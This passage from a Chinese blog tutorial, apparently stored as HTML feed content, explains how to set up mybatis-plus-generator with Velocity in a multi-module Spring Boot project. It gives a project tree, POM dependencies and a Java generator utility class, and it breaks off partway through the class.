    <content type="html"><![CDATA[<h4 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h4><p>&nbsp;&nbsp;&nbsp;&nbsp;代码生成器，对于我们提升开发效率还是非常有价值的，快速生成代码和避免手误操作，能给我们减少了很多麻烦，又多了一点摸鱼的时间[偷笑]。<br>&nbsp;&nbsp;&nbsp;&nbsp;以前我用的比较多的是easy code，但是需要安装插件，配置模版，所以多少还是有些不方便。<br>&nbsp;&nbsp;&nbsp;&nbsp;自从项目改用mybatis-plus后，mybatis-plus-generator就成了它的替代品，很方便，也很灵活，个人推荐使用。</p><p>&nbsp;&nbsp;&nbsp;&nbsp;下面我们使用一个Springboot多module的项目来做下演示。</p><h4 id="使用教程"><a href="#使用教程" class="headerlink" title="使用教程"></a>使用教程</h4><h5 id="项目结构"><a href="#项目结构" class="headerlink" title="项目结构"></a>项目结构</h5><p>下面的tree图，是我们本次演示的项目module和package结构，也是我们生成代码后的想要的效果：</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br></pre></td><td class="code"><pre><span class="line">pro-mall</span><br><span class="line">├── pom.xml</span><br><span class="line">├── application</span><br><span class="line">│   ├── pom.xml</span><br><span class="line">│   └── src</span><br><span class="line">├── common</span><br><span class="line">│   ├── pom.xml</span><br><span class="line">│   └── src</span><br><span class="line">├── mapper</span><br><span class="line">│   ├── pom.xml</span><br><span class="line">│   └── src.main</span><br><span class="line">│           ├── java</span><br><span class="line">│           │   └── cn.soilove.expro</span><br><span class="line">│           │               ├── mapper</span><br><span class="line">│           │               │   └── user</span><br><span class="line">│           │               │       └── UserMapper.java</span><br><span class="line">│           │               └── model</span><br><span class="line">│           │                   └── user</span><br><span class="line">│           │                       └── User.java</span><br><span class="line">│           └── resources</span><br><span class="line">│               └── mapper</span><br><span class="line">│                   └── user</span><br><span class="line">│                       └── UserMapper.xml</span><br><span class="line">├── service</span><br><span class="line">│   ├── pom.xml</span><br><span class="line">│   └── src.main</span><br><span class="line">│           └── java</span><br><span class="line">│               └── cn.soilove.expro</span><br><span class="line">│                           └── service</span><br><span class="line">│                               └── user</span><br><span class="line">│                                   ├── UserService.java</span><br><span class="line">│                                   └── impl</span><br><span class="line">│                                       └── UserServiceImpl.java</span><br><span class="line">├── web-admin</span><br><span class="line">│   ├── pom.xml</span><br><span class="line">│   └── src</span><br><span class="line">├── web-api</span><br><span class="line">│   ├── pom.xml</span><br><span class="line">│   └── src</span><br><span class="line">└── web-open-api</span><br><span class="line">    ├── pom.xml</span><br><span class="line">    └── src</span><br></pre></td></tr></table></figure><h5 id="引入POM依赖"><a href="#引入POM依赖" class="headerlink" title="引入POM依赖"></a>引入POM依赖</h5><p>第一步，除开mybatis-plus正常引用的包，我们还需要引入generator和velocity，来提供代码和模版的生成。</p><figure class="highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">mybatis-plus.version</span>&gt;</span>3.4.0<span class="tag">&lt;/<span class="name">mybatis-plus.version</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">velocity.version</span>&gt;</span>2.2<span class="tag">&lt;/<span class="name">velocity.version</span>&gt;</span></span><br><span class="line"></span><br><span class="line"><span class="tag">&lt;<span class="name">dependency</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">groupId</span>&gt;</span>com.baomidou<span class="tag">&lt;/<span class="name">groupId</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">artifactId</span>&gt;</span>mybatis-plus-generator<span class="tag">&lt;/<span class="name">artifactId</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">version</span>&gt;</span>$&#123;mybatis-plus.version&#125;<span class="tag">&lt;/<span class="name">version</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">dependency</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">dependency</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">groupId</span>&gt;</span>org.apache.velocity<span class="tag">&lt;/<span class="name">groupId</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">artifactId</span>&gt;</span>velocity-engine-core<span class="tag">&lt;/<span class="name">artifactId</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">version</span>&gt;</span>$&#123;velocity.version&#125;<span class="tag">&lt;/<span class="name">version</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">dependency</span>&gt;</span></span><br></pre></td></tr></table></figure><h5 id="编写工具类"><a href="#编写工具类" class="headerlink" title="编写工具类"></a>编写工具类</h5><p>然后，编写工具类，直接运行生成想要的代码。下面的java工具类是通过官网代码示例改造而来，支持多module指定。</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br><span class="line">131</span><br><span class="line">132</span><br><span class="line">133</span><br><span class="line">134</span><br><span class="line">135</span><br><span class="line">136</span><br><span class="line">137</span><br><span class="line">138</span><br><span class="line">139</span><br><span class="line">140</span><br><span class="line">141</span><br><span class="line">142</span><br><span class="line">143</span><br><span class="line">144</span><br><span class="line">145</span><br><span class="line">146</span><br><span class="line">147</span><br><span class="line">148</span><br><span class="line">149</span><br><span class="line">150</span><br><span class="line">151</span><br><span class="line">152</span><br><span class="line">153</span><br><span class="line">154</span><br><span class="line">155</span><br><span class="line">156</span><br><span class="line">157</span><br><span class="line">158</span><br><span class="line">159</span><br><span class="line">160</span><br><span class="line">161</span><br><span class="line">162</span><br><span class="line">163</span><br><span class="line">164</span><br><span class="line">165</span><br><span class="line">166</span><br><span class="line">167</span><br><span class="line">168</span><br><span class="line">169</span><br><span class="line">170</span><br><span class="line">171</span><br><span class="line">172</span><br><span class="line">173</span><br><span class="line">174</span><br><span class="line">175</span><br><span class="line">176</span><br><span class="line">177</span><br><span class="line">178</span><br><span class="line">179</span><br><span class="line">180</span><br><span class="line">181</span><br><span class="line">182</span><br><span class="line">183</span><br><span class="line">184</span><br><span class="line">185</span><br><span class="line">186</span><br><span class="line">187</span><br><span class="line">188</span><br><span class="line">189</span><br><span class="line">190</span><br><span class="line">191</span><br><span class="line">192</span><br><span class="line">193</span><br><span class="line">194</span><br><span class="line">195</span><br><span class="line">196</span><br><span class="line">197</span><br><span class="line">198</span><br><span class="line">199</span><br><span class="line">200</span><br><span class="line">201</span><br><span class="line">202</span><br><span class="line">203</span><br><span class="line">204</span><br><span class="line">205</span><br><span class="line">206</span><br><span class="line">207</span><br><span class="line">208</span><br><span class="line">209</span><br><span class="line">210</span><br><span class="line">211</span><br><span class="line">212</span><br><span class="line">213</span><br><span class="line">214</span><br><span class="line">215</span><br><span class="line">216</span><br><span class="line">217</span><br><span class="line">218</span><br><span class="line">219</span><br><span class="line">220</span><br><span class="line">221</span><br><span class="line">222</span><br><span class="line">223</span><br><span class="line">224</span><br><span class="line">225</span><br><span class="line">226</span><br><span class="line">227</span><br><span class="line">228</span><br><span class="line">229</span><br><span class="line">230</span><br><span class="line">231</span><br><span class="line">232</span><br><span class="line">233</span><br><span class="line">234</span><br><span class="line">235</span><br><span class="line">236</span><br><span class="line">237</span><br><span class="line">238</span><br><span class="line">239</span><br><span class="line">240</span><br><span class="line">241</span><br><span class="line">242</span><br><span class="line">243</span><br><span class="line">244</span><br><span class="line">245</span><br><span class="line">246</span><br><span class="line">247</span><br><span class="line">248</span><br><span class="line">249</span><br><span class="line">250</span><br><span class="line">251</span><br><span class="line">252</span><br><span class="line">253</span><br><span class="line">254</span><br><span class="line">255</span><br><span class="line">256</span><br><span class="line">257</span><br><span class="line">258</span><br><span class="line">259</span><br><span class="line">260</span><br><span class="line">261</span><br><span class="line">262</span><br><span class="line">263</span><br><span class="line">264</span><br><span class="line">265</span><br><span class="line">266</span><br><span class="line">267</span><br><span class="line">268</span><br><span class="line">269</span><br><span class="line">270</span><br><span class="line">271</span><br><span class="line">272</span><br><span class="line">273</span><br><span class="line">274</span><br><span class="line">275</span><br><span class="line">276</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> cn.soilove.expro.framework.generator;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> com.baomidou.mybatisplus.annotation.FieldFill;</span><br><span class="line"><span class="keyword">import</span> com.baomidou.mybatisplus.core.exceptions.MybatisPlusException;</span><br><span class="line"><span class="keyword">import</span> com.baomidou.mybatisplus.core.toolkit.StringPool;</span><br><span class="line"><span class="keyword">import</span> com.baomidou.mybatisplus.generator.AutoGenerator;</span><br><span class="line"><span class="keyword">import</span> com.baomidou.mybatisplus.generator.InjectionConfig;</span><br><span class="line"><span class="keyword">import</span> com.baomidou.mybatisplus.generator.config.*;</span><br><span class="line"><span class="keyword">import</span> com.baomidou.mybatisplus.generator.config.po.LikeTable;</span><br><span class="line"><span class="keyword">import</span> com.baomidou.mybatisplus.generator.config.po.TableFill;</span><br><span class="line"><span class="keyword">import</span> com.baomidou.mybatisplus.generator.config.po.TableInfo;</span><br><span class="line"><span class="keyword">import</span> com.baomidou.mybatisplus.generator.config.rules.DateType;</span><br><span class="line"><span class="keyword">import</span> com.baomidou.mybatisplus.generator.config.rules.NamingStrategy;</span><br><span class="line"><span class="keyword">import</span> com.google.common.collect.Maps;</span><br><span class="line"><span class="keyword">import</span> org.apache.commons.lang3.StringUtils;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> java.util.ArrayList;</span><br><span class="line"><span class="keyword">import</span> java.util.List;</span><br><span class="line"><span class="keyword">import</span> java.util.Map;</span><br><span class="line"><span class="keyword">import</span> java.util.Scanner;</span><br><span class="line"></span><br><span class="line"><span class="comment">/**</span></span><br><span class="line"><span class="comment"> * MyBatisPlusGenerator 代码生成工具</span></span><br><span class="line"><span class="comment"> *</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@author</span>: Chen GuoLin</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@create</span>: 2020-02-11 11:57</span></span><br><span class="line"><span class="comment"> **/</span></span><br><span class="line"><span class="keyword">public</span> <span class="class"><span class="keyword">class</span> <span class="title">MyBatisPlusGenerator</span> </span>&#123;</span><br><span class="line"></span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * 数据库链接信息</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">static</span> <span class="keyword">final</span> <span class="class"><span class="keyword">class</span> <span class="title">mysql</span></span>&#123;</span><br><span class="line">        <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">final</span> String url = <span class="string">&quot;jdbc:mysql://k.32e.co:3306/ex-pro?allowMultiQueries=true&amp;useUnicode=true&amp;characterEncoding=UTF-8&amp;autoReconnect=true&amp;useSSL=false&amp;zeroDateTimeBehavior=convertToNull&amp;&quot;</span>;</span><br><span class="line">        <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">final</span> String driver_name = <span class="string">&quot;com.mysql.jdbc.Driver&quot;</span>;</span><br><span class="line">        <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">final</span> String user = <span class="string">&quot;root&quot;</span>;</span><br><span class="line">        <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">final</span> String password = <span class="string">&quot;xxxxx&quot;</span>;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * module子模块相对路径</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">static</span> <span class="keyword">final</span> <span class="class"><span class="keyword">class</span> <span class="title">module_path</span></span>&#123;</span><br><span class="line">        <span class="comment">/**</span></span><br><span class="line"><span class="comment">         * service类所在module</span></span><br><span class="line"><span class="comment">         */</span></span><br><span class="line">        <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">final</span> String service = <span class="string">&quot;/service&quot;</span>;</span><br><span class="line">        <span class="comment">/**</span></span><br><span class="line"><span class="comment">         * 表实体对象所在module</span></span><br><span class="line"><span class="comment">         */</span></span><br><span class="line">        <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">final</span> String entity = <span class="string">&quot;/mapper&quot;</span>;</span><br><span class="line">        <span class="comment">/**</span></span><br><span class="line"><span class="comment">         * mapper接口和xml文件所在module</span></span><br><span class="line"><span class="comment">         */</span></span><br><span class="line">        <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">final</span> String mapper = <span class="string">&quot;/mapper&quot;</span>;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * 项目java包路径</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">static</span> <span class="keyword">final</span> String base_path = <span class="string">&quot;cn.soilove.expro&quot;</span>;</span><br><span class="line"></span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * 类的作者注释</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">static</span> <span class="keyword">final</span> String author = <span class="string">&quot;Chen GuoLin&quot;</span>;</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">    <span class="function"><span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title">main</span><span class="params">(String[] args)</span> </span>&#123;</span><br><span class="line">        String projectPath = System.getProperty(<span class="string">&quot;user.dir&quot;</span>);</span><br><span class="line"></span><br><span class="line">        String bizName = scanner(<span class="string">&quot;业务名称&quot;</span>);</span><br><span class="line">        String[] tableNames = scanner(<span class="string">&quot;表名(多个英文逗号分隔)&quot;</span>).split(<span class="string">&quot;,&quot;</span>);</span><br><span class="line"></span><br><span class="line">        <span class="comment">// 代码生成器</span></span><br><span class="line">        AutoGenerator autoGenerator = <span class="keyword">new</span> AutoGenerator();</span><br><span class="line">        autoGenerator.setGlobalConfig(buildGlobalConfig());</span><br><span class="line">        autoGenerator.setDataSource(buildDataSourceConfig());</span><br><span class="line">        autoGenerator.setPackageInfo(buildPackageConfig(projectPath,bizName));</span><br><span class="line">        autoGenerator.setCfg(buildInjectionConfig(projectPath, bizName));</span><br><span class="line">        autoGenerator.setTemplate(buildTemplateConfig());</span><br><span class="line">        autoGenerator.setStrategy(buildStrategyConfig(tableNames));</span><br><span class="line">        autoGenerator.execute();</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * 读取控制台内容信息</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="function"><span class="keyword">private</span> <span class="keyword">static</span> String <span class="title">scanner</span><span class="params">(String tip)</span> </span>&#123;</span><br><span class="line">        Scanner scanner = <span class="keyword">new</span> Scanner(System.in);</span><br><span class="line">        System.out.println((<span class="string">&quot;请输入&quot;</span> + tip + <span class="string">&quot;：&quot;</span>));</span><br><span class="line">        <span class="keyword">if</span> (scanner.hasNext()) &#123;</span><br><span class="line">            String next = scanner.next();</span><br><span class="line">            <span class="keyword">if</span> (StringUtils.isNotEmpty(next)) &#123;</span><br><span class="line">                <span class="keyword">return</span> next;</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="keyword">throw</span> <span class="keyword">new</span> MybatisPlusException(<span class="string">&quot;请输入正确的&quot;</span> + tip + <span class="string">&quot;！&quot;</span>);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * 全局配置</span></span><br><span class="line"><span class="comment">     * <span class="doctag">@return</span></span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">static</span> com.baomidou.mybatisplus.generator.config.<span class="function">GlobalConfig <span class="title">buildGlobalConfig</span><span class="params">()</span> </span>&#123;</span><br><span class="line">        com.baomidou.mybatisplus.generator.config.GlobalConfig globalConfig = <span class="keyword">new</span> GlobalConfig();</span><br><span class="line">        globalConfig.setAuthor(author);</span><br><span class="line">        globalConfig.setOpen(<span class="keyword">false</span>);</span><br><span class="line">        globalConfig.setSwagger2(<span class="keyword">false</span>);</span><br><span class="line">        globalConfig.setBaseResultMap(<span class="keyword">false</span>);</span><br><span class="line">        globalConfig.setFileOverride(<span class="keyword">true</span>);</span><br><span class="line">        globalConfig.setDateType(DateType.ONLY_DATE);</span><br><span class="line">        globalConfig.setEntityName(<span class="string">&quot;%s&quot;</span>);</span><br><span class="line">        globalConfig.setMapperName(<span class="string">&quot;%sMapper&quot;</span>);</span><br><span class="line">        globalConfig.setXmlName(<span class="string">&quot;%sMapper&quot;</span>);</span><br><span class="line">        globalConfig.setServiceName(<span class="string">&quot;%sService&quot;</span>);</span><br><span class="line">        globalConfig.setServiceImplName(<span class="string">&quot;%sServiceImpl&quot;</span>);</span><br><span class="line">        globalConfig.setControllerName(<span class="string">&quot;%sController&quot;</span>);</span><br><span class="line">        <span class="keyword">return</span> globalConfig;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * 数据源配置</span></span><br><span class="line"><span class="comment">     * <span class="doctag">@return</span></span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="function"><span class="keyword">private</span> <span class="keyword">static</span> DataSourceConfig <span class="title">buildDataSourceConfig</span><span class="params">()</span> </span>&#123;</span><br><span class="line">        DataSourceConfig dataSourceConfig = <span class="keyword">new</span> DataSourceConfig();</span><br><span class="line">        dataSourceConfig.setUrl(mysql.url);</span><br><span class="line">        dataSourceConfig.setDriverName(mysql.driver_name);</span><br><span class="line">        dataSourceConfig.setUsername(mysql.user);</span><br><span class="line">        dataSourceConfig.setPassword(mysql.password);</span><br><span class="line">        <span class="keyword">return</span> dataSourceConfig;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * 包配置</span></span><br><span class="line"><span class="comment">     * <span class="doctag">@param</span> projectPath</span></span><br><span class="line"><span class="comment">     * <span class="doctag">@param</span> bizName</span></span><br><span class="line"><span class="comment">     * <span class="doctag">@return</span></span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="function"><span class="keyword">private</span> <span class="keyword">static</span> PackageConfig <span class="title">buildPackageConfig</span><span class="params">(String projectPath,String bizName)</span> </span>&#123;</span><br><span class="line">        PackageConfig packageConfig = <span class="keyword">new</span> PackageConfig();</span><br><span class="line">        packageConfig.setModuleName(<span class="string">&quot;&quot;</span>);</span><br><span class="line">        packageConfig.setParent(base_path);</span><br><span class="line">        packageConfig.setEntity(<span class="string">&quot;model&quot;</span> + (StringUtils.isNotBlank(bizName) ? <span class="string">&quot;.&quot;</span> + bizName : <span class="string">&quot;&quot;</span>));</span><br><span class="line">        packageConfig.setService(<span class="string">&quot;service&quot;</span>+(StringUtils.isNotBlank(bizName) ? <span class="string">&quot;.&quot;</span> + bizName : <span class="string">&quot;&quot;</span>));</span><br><span class="line">        packageConfig.setServiceImpl(<span class="string">&quot;service&quot;</span>+(StringUtils.isNotBlank(bizName) ? <span class="string">&quot;.&quot;</span> + bizName : <span class="string">&quot;&quot;</span>)+<span class="string">&quot;.impl&quot;</span>);</span><br><span class="line">        packageConfig.setMapper(<span class="string">&quot;mapper&quot;</span>+(StringUtils.isNotBlank(bizName) ? <span class="string">&quot;.&quot;</span> + bizName : <span class="string">&quot;&quot;</span>));</span><br><span class="line"></span><br><span class="line">        Map&lt;String, String&gt; pathInfo = Maps.newHashMap();</span><br><span class="line">        pathInfo.put(ConstVal.ENTITY_PATH, calcPath4Entity(projectPath,bizName));</span><br><span class="line">        pathInfo.put(ConstVal.MAPPER_PATH, calcPath4Mapper(projectPath,bizName));</span><br><span class="line">        pathInfo.put(ConstVal.XML_PATH, calcPath4Xml(projectPath,bizName));</span><br><span class="line">        pathInfo.put(ConstVal.SERVICE_PATH, calcPath4Service(projectPath,bizName));</span><br><span class="line">        pathInfo.put(ConstVal.SERVICE_IMPL_PATH, calcPath4ServiceImpl(projectPath,bizName));</span><br><span class="line">        packageConfig.setPathInfo(pathInfo);</span><br><span class="line">        <span class="keyword">return</span> packageConfig;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * 设置路径 - model.java</span></span><br><span class="line"><span class="comment">     * <span class="doctag">@param</span> projectPath</span></span><br><span class="line"><span class="comment">     * <span class="doctag">@param</span> bizName</span></span><br><span class="line"><span class="comment">     * <span class="doctag">@return</span></span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="function"><span class="keyword">private</span> <span class="keyword">static</span> String <span class="title">calcPath4Entity</span><span class="params">(String projectPath,String bizName)</span></span>&#123;</span><br><span class="line">        <span class="keyword">return</span>  projectPath + module_path.entity + <span class="string">&quot;/src/main/java/&quot;</span> + base_path.replaceAll(<span class="string">&quot;\\.&quot;</span>,<span class="string">&quot;/&quot;</span>) + <span class="string">&quot;/model/&quot;</span> + bizName + <span class="string">&quot;/&quot;</span>;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * 设置路径 - mapper.java</span></span><br><span class="line"><span class="comment">     * <span class="doctag">@param</span> projectPath</span></span><br><span class="line"><span class="comment">     * <span class="doctag">@param</span> bizName</span></span><br><span class="line"><span class="comment">     * <span class="doctag">@return</span></span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="function"><span class="keyword">private</span> <span class="keyword">static</span> String <span class="title">calcPath4Mapper</span><span class="params">(String projectPath, String bizName)</span></span>&#123;</span><br><span class="line">        <span class="keyword">return</span>  projectPath + module_path.mapper + <span class="string">&quot;/src/main/java/&quot;</span> + base_path.replaceAll(<span class="string">&quot;\\.&quot;</span>,<span class="string">&quot;/&quot;</span>) + <span class="string">&quot;/mapper/&quot;</span> + bizName + <span class="string">&quot;/&quot;</span>;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * 设置路径 - service.java</span></span><br><span class="line"><span class="comment">     * <span class="doctag">@param</span> projectPath</span></span><br><span class="line"><span class="comment">     * <span class="doctag">@param</span> bizName</span></span><br><span class="line"><span class="comment">     * <span class="doctag">@return</span></span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="function"><span class="keyword">private</span> <span class="keyword">static</span> String <span class="title">calcPath4Service</span><span class="params">(String projectPath, String bizName)</span></span>&#123;</span><br><span class="line">        <span class="keyword">return</span>  projectPath + module_path.service + <span class="string">&quot;/src/main/java/&quot;</span> + base_path.replaceAll(<span class="string">&quot;\\.&quot;</span>,<span class="string">&quot;/&quot;</span>) + <span class="string">&quot;/service/&quot;</span> + bizName + <span class="string">&quot;/&quot;</span>;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * 设置路径 - serviceImpl.java</span></span><br><span class="line"><span class="comment">     * <span class="doctag">@param</span> projectPath</span></span><br><span class="line"><span class="comment">     * <span class="doctag">@param</span> bizName</span></span><br><span class="line"><span class="comment">     * <span class="doctag">@return</span></span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="function"><span class="keyword">private</span> <span class="keyword">static</span> String <span class="title">calcPath4ServiceImpl</span><span class="params">(String projectPath, String bizName)</span></span>&#123;</span><br><span class="line">        <span class="keyword">return</span>  projectPath + module_path.service + <span class="string">&quot;/src/main/java/&quot;</span> + base_path.replaceAll(<span class="string">&quot;\\.&quot;</span>,<span class="string">&quot;/&quot;</span>) + <span class="string">&quot;/service/&quot;</span> + bizName + <span class="string">&quot;/impl/&quot;</span>;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * 设置路径 - model.xml</span></span><br><span class="line"><span class="comment">     * <span class="doctag">@param</span> projectPath</span></span><br><span class="line"><span class="comment">     * <span class="doctag">@param</span> bizName</span></span><br><span class="line"><span class="comment">     * <span class="doctag">@return</span></span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="function"><span class="keyword">private</span> <span class="keyword">static</span> String <span class="title">calcPath4Xml</span><span class="params">(String projectPath, String bizName)</span></span>&#123;</span><br><span class="line">        <span class="keyword">return</span>  projectPath + module_path.mapper + <span class="string">&quot;/src/main/resources/mapper/&quot;</span> + bizName + <span class="string">&quot;/&quot;</span>;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * 模板配置</span></span><br><span class="line"><span class="comment">     * <span class="doctag">@return</span></span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="function"><span class="keyword">private</span> <span class="keyword">static</span> TemplateConfig <span class="title">buildTemplateConfig</span><span class="params">()</span> </span>&#123;</span><br><span class="line">        TemplateConfig templateConfig = <span class="keyword">new</span> TemplateConfig();</span><br><span class="line">        <span class="comment">//可以对controller、service、entity模板进行配置</span></span><br><span class="line">        <span class="comment">//mapper.xml模板需单独配置</span></span><br><span class="line">        <span class="keyword">return</span> templateConfig;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * 策略配置</span></span><br><span class="line"><span class="comment">     * <span class="doctag">@param</span> tableNames</span></span><br><span class="line"><span class="comment">     * <span class="doctag">@return</span></span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="function"><span class="keyword">private</span> <span class="keyword">static</span> StrategyConfig <span class="title">buildStrategyConfig</span><span class="params">(String[] tableNames)</span> </span>&#123;</span><br><span class="line">        StrategyConfig strategyConfig = <span class="keyword">new</span> StrategyConfig();</span><br><span 